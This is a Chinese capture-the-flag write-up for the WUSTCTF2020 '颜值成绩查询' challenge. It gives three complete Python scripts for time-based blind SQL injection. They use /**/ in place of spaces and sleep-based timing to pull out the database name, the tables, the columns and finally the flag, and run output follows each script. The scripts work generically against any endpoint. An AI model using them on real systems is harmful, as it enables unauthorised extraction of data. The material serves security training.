[WUSTCTF2020]颜值成绩查询

[WUSTCTF2020]颜值成绩查询

1

感觉就是一个sql查询,猜测估计是存在sql注入的,我们测试一下

2

但是输入之后没有查询到,肯定是过滤东西了,先猜测是过滤空格吧

4

5

这下算是实锤了,确实是存在sql注入漏洞的,可以选择直接用sqlmap里面带的空格过滤脚本打,但是我比较懒,直接写一个脚本吧,写的比较烂,多多见谅,我是用的盲注,我也没测试是否存在联合注入,应该可能是有的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import time
import string

url = input("[+]请输入URL:")
print("该脚本将帮助你获取库名以及库中的所有表名")

print("获取库名长度中.........")
for i in range(1, 21): #猜测库名长度不超过21
databas_len_payload = f"1/**/and/**/if(length(database())={i},sleep(3),0)--+"
start_time = time.time()
res = requests.get(url + databas_len_payload)
time_sleep = time.time() - start_time
if time_sleep > 2.5:
databas_length = i
print(f"数据库长度为: {i}")
break

name = ""
print("获取库名中............")
print("数据库的名为:", end="")
for i in range(1, databas_length + 1):
for char in string.ascii_letters + string.digits + string.punctuation:
databasename_payload = f"1/**/and/**/if(substr(database(),{i},1)='{char}',sleep(3),0)--+"
start_time = time.time()
res = requests.get(url + databasename_payload)
time_sleep = time.time() - start_time
if time_sleep > 2.5:
name += char
print(char, end="")
break

print("获取表名数量和长度...........")
tables_len = []
table_num = 0
for j in range(0, 3): #猜测表名数量小于3
for i in range(1, 21): #猜测每个表名的名字长度小于20
payload = f"1/**/and/**/if(length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='{name}'/**/limit/**/{j},1))={i},sleep(3),0)--+"
start_time = time.time()
res = requests.get(url + payload)
time_sleep = time.time() - start_time
if time_sleep > 2.5:
tables_len.append(i)
table_num = j + 1
print(f"第{j+1}张表的长度为: {i}")
break

table_name = []
print("获取表的名字...........")
for i in range(0, table_num):
tabs_nm = ""
print(f"第{i + 1}表的名字为:", end="")
for j in range(1, tables_len[i] + 1):
for char in string.ascii_letters + string.digits + string.punctuation:
payload = f"1/**/and/**/if(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='{name}'/**/limit/**/{i},1),{j},1)='{char}',sleep(3),0)--+"
start_time = time.time()
res = requests.get(url + payload)
time_sleep = time.time() - start_time
if time_sleep > 2.5:
tabs_nm += char
print(char, end="", flush=True)
break
print(f" -> {tabs_nm}")
table_name.append(tabs_nm)

1
2
3
4
5
6
7
8
9
10
11
12
13
kali@kali [~] ➜  python3 1.py                                                                                                                    [22:30:38]
[+]请输入URL:http://8827a4f6-ef38-411c-adb5-36cdf665a598.node5.buuoj.cn:81/?stunum=
该脚本将帮助你获取库名以及库中的所有表名
获取库名长度中.........
数据库长度为: 3
获取库名中............
数据库的名为:ctf
获取表名数量和长度...........
第1张表的长度为: 4
第2张表的长度为: 5
获取表的名字...........
第1表的名字为:flag -> flag
第2表的名字为:score -> score

简单的获取一些表的信息,我们想看的肯定是flag表,我们可以利用下面的脚本查询其中的字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
import string

url = input("[+]请输入URL:")
table_name = input("[+]请输入你要查询的表名:")
print("该脚本将帮助你表中的字段")

column_lens = []
for j in range(0,3): #猜测不超过三个字段
for i in range(1, 21): #猜测每个字段的长度不超过20
payload = f"1/**/and/**/if(length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='{table_name}'/**/limit/**/{j},1))={i},sleep(3),0)--+"
start_time = time.time()
res = requests.get(url + payload)
time_sleep = time.time() - start_time
if time_sleep > 2.5:
print(f"{table_name}表第{j+1}个字段长度为:{i}")
column_lens.append(i)

for i in range(0,len(column_lens)):
column_name = ""
for j in range(1,column_lens[i]+1):
for char in string.ascii_letters + string.digits + string.punctuation:
payoad = f"1/**/and/**/if(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='{table_name}'/**/limit/**/{i},1),{j},1)='{char}',sleep(3),0)--+"
start_time = time.time()
res = requests.get(url + payoad)
time_sleep = time.time() - start_time
if time_sleep > 2.5:
column_name += char
break
print(f"{table_name}表中第{i + 1}个字段名为:{column_name}")

1
2
3
4
5
6
7
8
kali@kali [~] ➜  python3 2.py                                                                                                                    [22:36:58]
[+]请输入URL:http://8827a4f6-ef38-411c-adb5-36cdf665a598.node5.buuoj.cn:81/?stunum=
[+]请输入你要查询的表名:flag
该脚本将帮助你表中的字段
flag表第1个字段长度为:4
flag表第2个字段长度为:5
flag表中第1个字段名为:flag
flag表中第2个字段名为:value

这里我们发现了两个字段在flag表中,我们直接查询第一条数据,利用一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
import string


url = input("[+]请输入URL:")
table_name = input("[+]请输入你要查询的表名:")
column_name = input("[+]请输入你要查询的字段名:")
value = int(input("[+]请输入你要查询第几条数据:")) - 1

#假设字段里面的数据长度不超过80
for i in range(1,81):
payload = f"1/**/and/**/if(length((select/**/{column_name}/**/from/**/{table_name}/**/limit/**/{value},1))={i},sleep(3),0)--+"
start_time = time.time()
res = requests.get(url + payload)
time_sleep = time.time() - start_time
if time_sleep > 2.5:
print(f"{table_name}表中的{column_name}字段的第{value+1}条数据的长度为{i}")
leng = i

print(f"该字段第{value+1}条数据的值为:")
for i in range(1,leng+1):
for char in string.ascii_letters + string.digits + string.punctuation:
payload = f"1/**/and/**/if(substr((select/**/{column_name}/**/from/**/{table_name}/**/limit/**/{value},1),{i},1)='{char}',sleep(3),0)--+"
start_time = time.time()
res = requests.get(url + payload)
time_sleep = time.time() - start_time
if time_sleep > 2.5:
print(char,end="")
break
1
2
3
4
5
6
7
[+]请输入URL:http://8827a4f6-ef38-411c-adb5-36cdf665a598.node5.buuoj.cn:81/?stunum=
[+]请输入你要查询的表名:flag
[+]请输入你要查询的字段名:value
[+]请输入你要查询第几条数据:1
flag表中的value字段的第1条数据的长度为42
该字段第1条数据的值为:
flag{d680479c-d10f-42cc-872e-1409486972b5}

这脚本我自己都觉得写的稀烂,勉强凑活,应该封装成函数,然后逐级调用的,我懒,大家可以改进一下,而且这个算法还能优化,我这个循环太多,非常慢